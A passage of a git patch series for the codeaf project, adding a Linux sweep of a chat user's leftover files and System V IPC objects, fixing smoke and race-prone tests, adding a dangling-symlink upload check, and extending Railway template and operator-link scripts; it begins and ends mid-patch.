sweeping the objects of whoever runs the test. +var sysvDir = "/proc/sysvipc" + +// sweepShared removes, from each area, everything owned by uid, and every +// System V segment, semaphore set and message queue that uid owns or made. It +// runs as the chat's own Linux user (the reap helper has dropped to it), so it +// can only ever remove what that user could remove anyway, and it never +// follows a link: an entry is unlinked, and a directory is walked by file +// descriptor. The first failure is returned after every area has been tried. +func sweepShared(uid int, areas []string, sysvDir string) error { + var first error + keep := func(err error) { + if err != nil && first == nil { + first = err + } + } + for _, area := range areas { + keep(sweepArea(uid, area)) + } + keep(sweepSysV(uid, sysvDir)) + return first +} + +func sweepArea(uid int, area string) error { + entries, err := os.ReadDir(area) + if errors.Is(err, os.ErrNotExist) { + return nil + } + if err != nil { + return err + } + parent, err := unix.Open(area, unix.O_PATH|unix.O_DIRECTORY|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return err + } + defer unix.Close(parent) + var first error + for _, entry := range entries { + var st unix.Stat_t + if err := unix.Fstatat(parent, entry.Name(), &st, unix.AT_SYMLINK_NOFOLLOW); err != nil { + continue + } + if int(st.Uid) != uid { + continue + } + if err := removeAt(parent, entry.Name()); err != nil && first == nil { + first = err + } + } + return first +} + +type sysvTable struct { + file, id string + remove func(id int) error +} + +// sysvTables are the three kernel tables of System V objects and how each kind +// is removed. +var sysvTables = []sysvTable{ + {"shm", "shmid", func(id int) error { + _, _, e := unix.Syscall(unix.SYS_SHMCTL, uintptr(id), unix.IPC_RMID, 0) + return errnoOrNil(e) + }}, + {"sem", "semid", func(id int) error { + _, _, e := unix.Syscall6(unix.SYS_SEMCTL, uintptr(id), 0, unix.IPC_RMID, 0, 0, 0) + return errnoOrNil(e) + }}, + {"msg", "msqid", func(id int) error { + _, _, e := unix.Syscall(unix.SYS_MSGCTL, uintptr(id), unix.IPC_RMID, 0) + return errnoOrNil(e) + }}, +} + +// sweepSysV walks the three kernel tables under dir (normally /proc/sysvipc). +func sweepSysV(uid int, dir string) error { + var first error + for _, table := range sysvTables { + ids, err := ownedSysV(filepath.Join(dir, table.file), table.id, uid) + if err != nil { + if !errors.Is(err, os.ErrNotExist) && first == nil { + first = err + } + continue + } + for _, id := range ids { + if err := table.remove(id); err != nil && !errors.Is(err, unix.EINVAL) && !errors.Is(err, unix.EIDRM) && first == nil { + first = err + } + } + } + return first +} + +func errnoOrNil(e unix.Errno) error { + if e == 0 { + return nil + } + return e +} + +// ownedSysV reads one /proc/sysvipc table and answers the ids whose owner or +// creator is uid. The columns are found by their header names, because the +// tables differ in width and a kernel may add one. +func ownedSysV(path, idColumn string, uid int) ([]int, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + scan := bufio.NewScanner(f) + if !scan.Scan() { + return nil, scan.Err() + } + column := map[string]int{} + for i, name := range strings.Fields(scan.Text()) { + column[name] = i + } + idAt, haveID := column[idColumn] + uidAt, haveUID := column["uid"] + cuidAt, haveCUID := column["cuid"] + if !haveID || !haveUID || !haveCUID { + return nil, errors.New("unreadable table") + } + var ids []int + for scan.Scan() { + fields := strings.Fields(scan.Text()) + if len(fields) <= max(idAt, uidAt, cuidAt) { + continue + } + owner, _ := strconv.Atoi(fields[uidAt]) + creator, _ := strconv.Atoi(fields[cuidAt]) + id, err := strconv.Atoi(fields[idAt]) + if err == nil && (owner == uid || creator == uid) { + ids = append(ids, id) + } + } + return ids, scan.Err() +} diff --git a/internal/sessionhost/sweep_linux_test.go b/internal/sessionhost/sweep_linux_test.go new file mode 100644 index 0000000000..43e0b6db1c --- /dev/null +++ b/internal/sessionhost/sweep_linux_test.go @@ -0,0 +1,143 @@ +//go:build linux + +package sessionhost + +import ( + "os" + "path/filepath" + "strconv" + "testing" + + "golang.org/x/sys/unix" +) + +// VALIDATION CONTRACT: what a chat's Linux user leaves in the places every chat +// can write is gone after the chat is stopped, deleted or started afresh, so a +// later chat given the same user finds nothing of the earlier one's. Nothing +// owned by another user is removed, and a link is never followed. + +func writeFile(t *testing.T, path, text string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(text), 0o600); err != nil { + t.Fatal(err) + } +} + +func exists(path string) bool { + _, err := os.Lstat(path) + return err == nil +} + +func TestSweepRemovesWhatTheChatsUserLeftInSharedAreas(t *testing.T) { + shm, tmp, outside := t.TempDir(), t.TempDir(), t.TempDir() + writeFile(t, filepath.Join(shm, "segment"), "old chat's secret") + writeFile(t, filepath.Join(tmp, "deep", "er", "note"), "old chat's note") + writeFile(t, filepath.Join(outside, "precious"), "not the chat's to lose") + if err := os.Symlink(outside, filepath.Join(tmp, "link-to-outside")); err != nil { + t.Fatal(err) + } + + if err := sweepShared(os.Geteuid(), []string{shm, tmp, filepath.Join(tmp, "no-such-area")}, t.TempDir()); err != nil { + t.Fatalf("sweep = %v", err) + } + for _, path := range []string{filepath.Join(shm, "segment"), filepath.Join(tmp, "deep"), filepath.Join(tmp, "link-to-outside")} { + if exists(path) { + t.Errorf("%s survived the sweep", path) + } + } + if !exists(filepath.Join(outside, "precious")) { + t.Error("the sweep followed a link and removed what it pointed at") + } +} + +func TestSweepLeavesAnotherUsersFilesAlone(t *testing.T) { + area := t.TempDir() + writeFile(t, filepath.Join(area, "theirs"), "owned by the test's user, so by someone else as far as the sweep is concerned") + other := os.Geteuid() + 1 + if err := sweepShared(other, []string{area}, t.TempDir()); err != nil { + t.Fatalf("sweep = %v", err) + } + if !exists(filepath.Join(area, "theirs")) { + t.Error("a sweep for another user removed this user's file") + } +} + +func TestSysVTablesAreReadByColumnNameAndMatchOwnerOrCreator(t *testing.T) { + dir := t.TempDir() + // The columns of the kernel's own tables; a row for uid 200030 owned, one created by it, one for another user. + writeFile(t, filepath.Join(dir, "shm"), " key shmid perms size cpid lpid nattch uid gid cuid cgid atime dtime ctime rss swap\n"+ + " 0 101 600 4096 7 7 0 200030 200030 200030 200030 0 0 1 0 0\n"+ + " 0 102 600 4096 7 7 0 0 0 200030 200030 0 0 1 0 0\n"+ + " 0 103 600 4096 7 7 0 200031 200031 200031 200031 0 0 1 0 0\n") + ids, err := ownedSysV(filepath.Join(dir, "shm"), "shmid", 200030) + if err != nil || len(ids) != 2 || ids[0] != 101 || ids[1] != 102 { + t.Fatalf("owned = %v, %v; want 101 and 102 only", ids, err) + } + writeFile(t, filepath.Join(dir, "msg"), "just some other text\n") + if _, err := ownedSysV(filepath.Join(dir, "msg"), "msqid", 200030); err == nil { + t.Error("a table with unknown columns was read as if it had the expected ones") + } + if err := sweepSysV(200030, t.TempDir()); err != nil { + t.Errorf("a missing table is not an error, got %v", err) + } +} + +func TestASystemVSegmentIsRemoved(t *testing.T) { + id, _, errno := unix.Syscall(unix.SYS_SHMGET, 0, 4096, unix.IPC_CREAT|0o600) + if errno != 0 { + t.Skipf("this kernel does not allow a System V segment here: %v", errno) + } + segment := int(id) + t.Cleanup(func() { _ = sysvTables[0].remove(segment) }) + listed := func() bool { + ids, err := ownedSysV("/proc/sysvipc/shm", "shmid", os.Geteuid()) + if err != nil { + t.Skipf("no table to read: %v", err) + } + for _, owned := range ids { + if owned == segment { + return true + } + } + return false + } + if !listed() { + t.Fatalf("segment %s is not listed before removal (control)", strconv.Itoa(segment)) + } + if err := sysvTables[0].remove(segment); err != nil { + t.Fatalf("remove = %v", err) + } + if listed() { + t.Error("the segment is still listed after removal") + } +} + +// Every way the helper is run (clearing the whole folder when a chat is deleted, only the tmp folder when it stops, +// and the three working folders when one begins) clears the user's leftovers in the shared areas too. +func TestEveryModeOfTheReapHelperSweepsTheSharedAreas(t *testing.T) { + if os.Geteuid() < minSessionUID { + t.Skip("the helper refuses to run as a user below the session range, as it should") + } + for _, mode := range []reapMode{reapAll, reapTmp, reapInit} { + t.Run("mode "+string(mode), func(t *testing.T) { + area, folder := t.TempDir(), t.TempDir() + writeFile(t, filepath.Join(area, "segment"), "an earlier chat's file") + defer func(areas []string, sysv string) { sharedAreas, sysvDir = areas, sysv }(sharedAreas, sysvDir) + sharedAreas, sysvDir = []string{area}, t.TempDir() + + args := []string{folder} + if mode != reapAll { + args = append(args, string(mode)) + } + if err := reap(args); err != nil { + t.Fatalf("reap(%v) = %v", args, err) + } + if exists(filepath.Join(area, "segment")) { + t.Errorf("a file the chat's user left in a shared area survived reap(%v)", args) + } + }) + } +} From 95174ece770c953228f55705a37f45cd43d8540d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:34:32 -0500 Subject: [PATCH 122/176] test(org): smoke's list-row checks follow the verbs the server sends Rows of GET /v1/hosted/sessions carry `verbs` since 527bf1fb12, and the smoke test still asserted the old key set. A shared row now asserts the verbs ['view'], the operator's metadata-only row asserts none. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/smoke.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index 886b73ac18..fee8b14438 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -1204,8 +1204,8 @@ def hosted_p1_after(): ACCESS_REMOVED = 'Your access to this chat was removed.' BOT_REFUSED = 'a bot cannot use this yet' HEARTBEAT = float(os.environ.get('SMOKE_HOSTED_HEARTBEAT_S', '1')) -LIST_SHARED_KEYS = {'id', 'owner', 'role', 'access', 'state', 'created', 'last_active'} -LIST_OPERATOR_KEYS = {'id', 'owner', 'access', 'state', 'created', 'last_active'} +LIST_SHARED_KEYS = {'id', 'owner', 'role', 'access', 'state', 'created', 'last_active', 'verbs'} +LIST_OPERATOR_KEYS = {'id', 'owner', 'access', 'state', 'created', 'last_active', 'verbs'} class Wire: @@ -1495,8 +1495,9 @@ def hosted_p2(): code, listed = http('GET', ORG + '/v1/hosted/sessions', noor) rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == chat_p] if isinstance(listed, dict) else [] check('P2-2 Noor now lists it under shared, never under his own chats', len(rows) == 1 and chat_p not in p2_ids(listed, 'sessions'), short(listed, 300)) - check('P2-2 a shared row carries only the id, owner, role, how, state and times (no model access, no warning)', - len(rows) == 1 and set(rows[0]) == LIST_SHARED_KEYS and rows[0].get('role') == 'view' and rows[0].get('access') == 'shared' and rows[0].get('owner') == 'kai', rows) + check('P2-2 a shared row carries only the id, owner, role, how, state, times and the verbs the caller holds (no model access, no warning)', + len(rows) == 1 and set(rows[0]) == LIST_SHARED_KEYS and rows[0].get('role') == 'view' and rows[0].get('access') == 'shared' and rows[0].get('owner') == 'kai' + and rows[0].get('verbs') == ['view'], rows) check('P2-2 the list says what the organization\'s policy is for chats on a computer', isinstance(listed, dict) and (listed.get('hosting') or {}).get('local_sessions') == 'refuse', short((listed or {}).get('hosting'), 80)) code, other = http('GET', ORG + '/v1/hosted/sessions', operator) check('P2-1 the operator still has none of it', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) @@ -1656,7 +1657,8 @@ def turn_ended(): visible = (made or {}).get('id', '') if isinstance(made, dict) else '' code, listed = http('GET', ORG + '/v1/hosted/sessions', operator) seen_rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == visible] if isinstance(listed, dict) else [] - check('P2-2 the operator lists that chat as metadata only (id, owner, how, state, times)', len(seen_rows) == 1 and set(seen_rows[0]) == LIST_OPERATOR_KEYS and seen_rows[0].get('access') == 'operator', short(seen_rows or listed, 300)) + check('P2-2 the operator lists that chat as metadata only (id, owner, how, state, times, and no verbs)', len(seen_rows) == 1 and set(seen_rows[0]) == LIST_OPERATOR_KEYS and seen_rows[0].get('access') == 'operator' + and seen_rows[0].get('verbs') == [], short(seen_rows or listed, 300)) wire = wire_answer(operator, visible) check('P2-4 and the operator still cannot attach to it, or read it, from that role', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) code, back = p2_restore_policy(operator, original) From c9b0fcfd5ca8f966411d704d69828596e8e0b3ea Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:00:12 -0500 Subject: [PATCH 123/176] live transfer C13A: the test ends only when the restarted arrival is complete The cut-after-open test returned as soon as the workspace tree matched, but the restarted stage still runs its hooks (the vault pull and the index rebuild open the vault lock and the chat's stores) and its look at the folder for a second or more after that. The temporary-directory cleanup raced that writer and failed with 'directory not empty': 7 of 80 focused runs at the org/main tip, 2 of 80 at the dev base, 0 of 100 with the wait. Co-Authored-By: Claude Sonnet 5.5 --- internal/syncsetup/live_transfer_test.go | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/internal/syncsetup/live_transfer_test.go b/internal/syncsetup/live_transfer_test.go index d0893479c1..5dd575ea50 100644 --- a/internal/syncsetup/live_transfer_test.go +++ b/internal/syncsetup/live_transfer_test.go @@ -660,6 +660,18 @@ func TestLiveTransferC13ACutAfterTheChatOpened(t *testing.T) { } return true }) + // THE FILES ARE IN PLACE BEFORE THE ARRIVAL IS OVER. The tree above is whole + // once the files are written, and the restarted stage still has its hooks (the + // vault pull and the index rebuild, which open the vault's lock and the chat's + // stores) and its look at the folder to finish, a second or more behind it. + // A test that returns on the tree leaves that stage writing into folders the + // temporary-directory cleanup is removing, which failed this test on the full + // suite with "directory not empty". The arrival is complete only after all of + // that is done, and it leaves the record of arrivals when it is. + waitFor(t, "the restarted arrival to finish", func() bool { + a := cell.LookupWorkspaceArrival(got.Taken.Cell.Root) + return a == nil || a.Ready() + }) } // C6: after B writes turns, A takes the chat back while B runs and fetches only From 2cacf737bf073db78ed2cca2498307f028aa150e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:00:12 -0500 Subject: [PATCH 124/176] app take told: the test ends only when the after-work behind the open is complete The test returned on the 'part of its state could not be updated yet' notice, which is said from the middle of the restarted stage. Same shape as the live transfer C13A test: the rest of the hooks kept writing into folders the temporary-directory cleanup was removing. It failed that way on the full suite; it does not reproduce locally, so this is the same fix on the same mechanism, 60 of 60 clean. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/app_take_told_test.go | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/cmd/codeaf/app_take_told_test.go b/cmd/codeaf/app_take_told_test.go index 1e10a57f6d..ca1706a7cb 100644 --- a/cmd/codeaf/app_take_told_test.go +++ b/cmd/codeaf/app_take_told_test.go @@ -8,6 +8,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/devname" "github.com/Agent-Field/codeaf/internal/syncsetup" ) @@ -57,4 +58,13 @@ func TestAppTakeTellsThePersonWhenTheAfterWorkFailsBehindTheOpen(t *testing.T) { return name == appwire.EventEntryAdded && ok && entry.Entry.Kind == appwire.EntryNotice && strings.Contains(entry.Entry.Text, "part of its state could not be updated yet") }) + // THE NOTICE COMES FROM THE MIDDLE OF THE AFTER-WORK, NOT FROM ITS END. The + // rest of the hooks and the look at the folder still follow it, and a test + // that returns on the notice leaves them writing into folders the + // temporary-directory cleanup is removing ("directory not empty" on the full + // suite). The arrival is complete only after all of that is done. + appSyncWait(t, "the after-work behind the open to finish", func() bool { + a := cell.LookupWorkspaceArrival(takeRootForAt(h.b.Home, h.c.ID)) + return a == nil || a.Ready() + }) } From 9f3777743b6c7d2c1b52ae7c46c0ed114165ae7b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:00:12 -0500 Subject: [PATCH 125/176] change entry: the two arrival-wait test fixes Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2907-org-fullsuite-reds.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/changes/unreleased/2907-org-fullsuite-reds.md b/docs/changes/unreleased/2907-org-fullsuite-reds.md index 409c481578..78bc56823a 100644 --- a/docs/changes/unreleased/2907-org-fullsuite-reds.md +++ b/docs/changes/unreleased/2907-org-fullsuite-reds.md @@ -10,3 +10,6 @@ invalidates: The same change makes two cmd/codeaf test fixtures deterministic: the removed-computer quit now takes the removal sentence a window would have shown before it checks that the quit itself prints nothing, and the real-engine read test takes its home from `EngineDir`. +Two more tests no longer return while a restarted file arrival is still writing: the live-transfer cut-after-open test +and the app take test wait for the arrival to be complete before they end, which stops the temporary-directory +cleanup from failing with "directory not empty" on the full suite. From 428484603574b8c275bd25ad54bd390650f915f1 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:01:43 -0500 Subject: [PATCH 126/176] Railway: a checkout uploads with `railway up` (no tracked symlink points at nothing) `railway up` indexes the working tree and stops on the first I/O error. The tree carried one tracked symlink to nothing, internal/skills/testdata/links/home/.claude/skills/dangling, so an upload from a checkout of org/main died with "IO error ... dangling: No such file or directory" before sending a byte. That is the only route to Railway for anyone who cannot connect the GitHub repository. TestDiscoverFollowsLinkedSkillFolders now makes its two links (one to a real skill folder, one to nothing) in a temp directory at run time and asserts the same things; the two committed links are gone. deploy/org/gate/upload-check.sh fails a tree that has a tracked symlink to nothing again, and runs in the org-images gate self-test job beside the pin check. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 2 ++ deploy/org/gate/upload-check.sh | 31 +++++++++++++++++++ internal/skills/plugins_test.go | 18 ++++++++++- .../links/home/.claude/skills/dangling | 1 - .../testdata/links/home/.claude/skills/linked | 1 - 5 files changed, 50 insertions(+), 3 deletions(-) create mode 100755 deploy/org/gate/upload-check.sh delete mode 120000 internal/skills/testdata/links/home/.claude/skills/dangling delete mode 120000 internal/skills/testdata/links/home/.claude/skills/linked diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index 96e74ee6fb..0d036acd1d 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -57,6 +57,8 @@ jobs: persist-credentials: false - name: Every base image is pinned by digest run: deploy/org/gate/pins-check.sh + - name: Tracked symlinks resolve for Railway uploads + run: deploy/org/gate/upload-check.sh - name: Planted fake secrets must fail the gate run: deploy/org/gate/selftest.sh - name: Planted files must not enter the build context diff --git a/deploy/org/gate/upload-check.sh b/deploy/org/gate/upload-check.sh new file mode 100755 index 0000000000..2f756741fa --- /dev/null +++ b/deploy/org/gate/upload-check.sh @@ -0,0 +1,31 @@ +#!/bin/sh +# Run from the repository root. Railway indexes the checkout before uploading it, so a tracked symlink +# whose target is missing prevents the upload. +set -eu + +index=$(mktemp) +trap 'rm -f "$index"' 0 +# Keep Git from quoting paths so that names with spaces or non-ASCII characters are checked as stored. +git ls-files -s -z >"$index" +# shellcheck disable=SC2016 # The child shell expands these variables. +counts=$(xargs -0 sh -c ' + tab=$(printf "\t") + count=0 + bad=0 + for entry do + case "$entry" in + "120000 "*) path=${entry#*"$tab"} ;; + *) continue ;; + esac + # An unstaged deletion is still in the index but cannot enter the upload. + [ -L "./$path" ] || continue + count=$((count + 1)) + if [ ! -e "./$path" ]; then + printf "upload-check: %s -> %s\n" "$path" "$(readlink "./$path")" >&2 + bad=1 + fi + done + printf "%s\n" "$count" + exit "$bad" +' sh <"$index") || exit 1 +printf '%s\n' "$counts" | awk '{count += $1} END {printf "upload-check: %d tracked symlinks, none dangling\n", count}' diff --git a/internal/skills/plugins_test.go b/internal/skills/plugins_test.go index 46875a3383..754e61aa6d 100644 --- a/internal/skills/plugins_test.go +++ b/internal/skills/plugins_test.go @@ -213,7 +213,23 @@ func TestDiscoverCodexSystemSkills(t *testing.T) { // A skill folder that is a link to a directory is a skill folder, reported at // the link, and weighed at the folder it names. A link to nothing is not. func TestDiscoverFollowsLinkedSkillFolders(t *testing.T) { - found := discover(t, filepath.Join("testdata", "links", "project"), filepath.Join("testdata", "links", "home")) + fixture := filepath.Join("testdata", "links") + linked, err := filepath.Abs(filepath.Join(fixture, "home", "shared", "linked")) + if err != nil { + t.Fatal(err) + } + home := t.TempDir() + skillDir := filepath.Join(home, ".claude", "skills") + if err := os.MkdirAll(skillDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(linked, filepath.Join(skillDir, "linked")); err != nil { + t.Skipf("creating linked skill symlink: %v", err) + } + if err := os.Symlink(filepath.Join(home, "missing"), filepath.Join(skillDir, "dangling")); err != nil { + t.Skipf("creating dangling skill symlink: %v", err) + } + found := discover(t, filepath.Join(fixture, "project"), home) skill, ok := byDir(found, filepath.Join(".claude", "skills", "linked")) if !ok { t.Fatalf("the linked skill folder was not discovered: %+v", found) diff --git a/internal/skills/testdata/links/home/.claude/skills/dangling b/internal/skills/testdata/links/home/.claude/skills/dangling deleted file mode 120000 index bdd15c7e9e..0000000000 --- a/internal/skills/testdata/links/home/.claude/skills/dangling +++ /dev/null @@ -1 +0,0 @@ -../../shared/missing \ No newline at end of file diff --git a/internal/skills/testdata/links/home/.claude/skills/linked b/internal/skills/testdata/links/home/.claude/skills/linked deleted file mode 120000 index 662eb0a732..0000000000 --- a/internal/skills/testdata/links/home/.claude/skills/linked +++ /dev/null @@ -1 +0,0 @@ -../../shared/linked \ No newline at end of file From 41fb10f868e7dc2264cf5cff6cae2982c508282d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:01:49 -0500 Subject: [PATCH 127/176] Railway: the draft template carries hosted chats, a health check, and the operator link has a command make-template.sh now adds the sessionhost (the codeaf image in its sessionhost role, a /chats volume, no public domain, 1 vCPU and 1 GB, sharing the secret by reference), the hosted variables on codeaf (the secret, the model door's address, the model door's key taken from the template's one key input) and a health check on codeaf at /v1/about, the only route that answers 200 without a sign-in. CODEAF_HOSTED_URL is set once the sessionhost exists, because a reference to a service that does not exist yet fails. The dry run prints 19 calls. The header says what was and was not run against Railway: the two config paths were read back from a live project, and `railway environment edit --service-config` only takes its flags on a terminal. deploy/org/railway/operator-link.sh is the Railway counterpart of operator-link.sh: it prints the newest claim link from `railway logs --service codeaf`, and says why when there is none. railway_scripts_test.sh checks both scripts and the upload guard offline (a fake railway on PATH), 17 rows, and runs in the org-images gate self-test job. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 2 + deploy/org/railway/make-template.sh | 42 +++-- deploy/org/railway/operator-link.sh | 26 ++++ deploy/org/railway/railway_scripts_test.sh | 171 +++++++++++++++++++++ 4 files changed, 232 insertions(+), 9 deletions(-) create mode 100755 deploy/org/railway/operator-link.sh create mode 100755 deploy/org/railway/railway_scripts_test.sh diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index 0d036acd1d..0a6075dadc 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -59,6 +59,8 @@ jobs: run: deploy/org/gate/pins-check.sh - name: Tracked symlinks resolve for Railway uploads run: deploy/org/gate/upload-check.sh + - name: Railway scripts pass offline tests + run: deploy/org/railway/railway_scripts_test.sh - name: Planted fake secrets must fail the gate run: deploy/org/gate/selftest.sh - name: Planted files must not enter the build context diff --git a/deploy/org/railway/make-template.sh b/deploy/org/railway/make-template.sh index 08c0879144..2247725bbc 100755 --- a/deploy/org/railway/make-template.sh +++ b/deploy/org/railway/make-template.sh @@ -2,7 +2,7 @@ # Makes a DRAFT Railway template of the org stack from the PUBLISHED IMAGES (README.md "Published images"). # # ./make-template.sh dry run: prints every Railway call it would make, changes nothing (the default) -# ./make-template.sh --apply makes a fresh source project, adds the five services from their images, and turns +# ./make-template.sh --apply makes a fresh source project, adds the six services from their images, and turns # the project into an UNPUBLISHED template draft in your workspace # # ORG_REGISTRY=agentfield ORG_TAG=dev which images (the same two variables as images.env); a 12-character commit id @@ -13,23 +13,25 @@ # WHAT THE TEMPLATE IS, AND IS NOT # * Every service is an IMAGE SOURCE. No GitHub repository, no GitHub App, no deployment trigger: the call that stopped # the first attempt ("Cannot create deployment trigger ... no one in the project has access to it") is not made. -# * No real value is ever in it. The two keys that must exist (the AgentField API key and the server key that seals -# people's own keys) are Railway template functions, `${{secret(64, ...)}}`, which Railway fills with a NEW random value +# * No real value is ever in it. The AgentField API key, the server key that seals people's own keys, and the hosted-chat +# secret are Railway template functions, `${{secret(64, ...)}}`, which Railway fills with a NEW random value # for every deploy. The other services reference the AgentField key as `${{agentfield.AGENTFIELD_API_KEY}}`. The model # key and GitHub token are references to empty inputs on the `codeaf` service. This script contains no secret and -# refuses (see var()) to carry any variable named like a secret whose value is not empty or a `${{...}}` expression. +# refuses (see check_var()) to carry any variable named like a secret whose value is not empty or a `${{...}}` expression. # * The smoke-test switches (RUNNER_SELFTEST, SMOKE_FIXTURE_REPO, the model stub and git stub) are not in it. # * It is never published. This script has no `railway templates publish` call and never will; the draft opens in the # dashboard's template editor, where the person who owns it decides. -# * Hosted chats (the sessionhost service) are NOT in it yet. They do run on Railway (a by-hand install with the sessionhost -# service passes `codeaf sessionhost probe` with mode uid+fence; README.md "Railway" has its variables), but this script has -# not been extended to add the service and the codeaf variables that name it, and nothing here could be run against the -# images before they exist. +# * Hosted chats are included through the private sessionhost service. It uses the user switch and Landlock on Railway +# (`codeaf sessionhost probe` in that service reports `uid+fence`). The person using the template still needs to supply +# the model key input. # # NOT YET RUN AGAINST RAILWAY: the images did not exist on Docker Hub when this was written. The calls are the Railway CLI's # documented ones (`railway add --image`, `railway volume add`, `railway environment edit --service-config`, `railway # templates create`); the first --apply is the first real test, and a service-by-service failure leaves a project you can # delete (it is only the SOURCE of the draft; delete it once the draft exists). +# The deploy.limitOverride and deploy.healthcheckPath paths were read back from a live Railway project. Run --apply from +# a terminal. `railway environment edit --service-config ...` reads its patch from the command line only when stdin is a +# terminal. With non-terminal stdin, such as in CI or an agent, it reads a JSON patch from stdin and ignores those flags. # shellcheck disable=SC2016 # the ${{...}} in single quotes are Railway expressions, not shell expansions set -euo pipefail @@ -43,6 +45,7 @@ esac REGISTRY="${ORG_REGISTRY:-agentfield}" TAG="${ORG_TAG:-dev}" PROJECT="${TEMPLATE_PROJECT:-codeaf-org-template}" +MODEL=deepseek/deepseek-v4-flash-0731 CODEAF_IMAGE="${REGISTRY}/codeaf-org:${TAG}" AGENTFIELD_IMAGE="${REGISTRY}/codeaf-org-agentfield:${TAG}" SWE_AF_IMAGE="${REGISTRY}/codeaf-org-swe-af:${TAG}" @@ -137,17 +140,38 @@ service codeaf "$CODEAF_IMAGE" \ 'CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}' \ CODEAF_TRUSTED_PROXIES=100.64.0.0/10 \ "CODEAF_SERVER_KEY=$KEY64" \ + "CODEAF_HOSTED_SECRET=$KEY64" \ + 'CODEAF_HOSTED_MODEL_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model' \ + 'CODEAF_HOSTED_MODEL_KEY=${{OPENROUTER_API_KEY}}' \ OPENROUTER_API_KEY= \ GH_TOKEN= rail volume add --service codeaf --mount-path /data --json +rail environment edit --service-config codeaf deploy.healthcheckPath /v1/about --message "codeaf health check" rail domain --service codeaf --port 8787 --json +# --- sessionhost: hosted chats, with private networking and their own volume. ------------------------------------------------------ +service sessionhost "$CODEAF_IMAGE" \ + CODEAF_ROLE=sessionhost \ + CODEAF_SESSIONHOST_DATA=/chats \ + 'CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}' \ + "CODEAF_SESSIONHOST_MODEL=$MODEL" \ + CODEAF_SESSIONHOST_MAX_RUNNING=4 \ + CODEAF_SESSIONHOST_MAX_PER_PERSON=2 +rail volume add --service sessionhost --mount-path /chats --json +rail environment edit --service-config sessionhost deploy.limitOverride.containers.cpu 1 \ + --service-config sessionhost deploy.limitOverride.containers.memoryBytes 1000000000 + +# Railway can resolve this reference once the sessionhost service exists. +hosted_url='http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790' +check_var CODEAF_HOSTED_URL "$hosted_url" +rail variable set "CODEAF_HOSTED_URL=$hosted_url" --service codeaf --skip-deploys + # --- runner: the factory runner, the same image in its runner role. -------------------------------------------------------------------- service runner "$CODEAF_IMAGE" \ CODEAF_ROLE=runner \ 'AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080' \ 'AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}' \ - ORG_MODEL=deepseek/deepseek-v4-flash-0731 \ + "ORG_MODEL=$MODEL" \ 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ 'GH_TOKEN=${{codeaf.GH_TOKEN}}' rail volume add --service runner --mount-path /data --json diff --git a/deploy/org/railway/operator-link.sh b/deploy/org/railway/operator-link.sh new file mode 100755 index 0000000000..041cc865f7 --- /dev/null +++ b/deploy/org/railway/operator-link.sh @@ -0,0 +1,26 @@ +#!/bin/sh +# Prints the latest operator access link from Railway logs. Run from a linked project or set RAILWAY_PROJECT +# and RAILWAY_ENVIRONMENT. RAILWAY_SERVICE defaults to codeaf and OPERATOR_LINK_LINES defaults to 300. +# A restart of an unclaimed server prints a fresh link and invalidates the older one. Always read the latest. +# The link is a secret that works once. Anybody who can read the project's logs can read it. +set -eu + +if ! command -v railway >/dev/null 2>&1; then + echo 'The Railway CLI is not installed.' >&2 + exit 2 +fi + +set -- logs --service "${RAILWAY_SERVICE:-codeaf}" --lines "${OPERATOR_LINK_LINES:-300}" +if [ -n "${RAILWAY_PROJECT:-}" ]; then set -- "$@" --project "$RAILWAY_PROJECT"; fi +if [ -n "${RAILWAY_ENVIRONMENT:-}" ]; then set -- "$@" --environment "$RAILWAY_ENVIRONMENT"; fi +if ! logs=$(railway "$@" /dev/null); then + echo 'Fetching the service log with railway logs failed.' >&2 + exit 2 +fi + +link=$(printf '%s\n' "$logs" | grep -o 'codeaf://factory/join?operator=true[^[:space:]]*' | tail -n 1) +if [ -z "$link" ]; then + echo 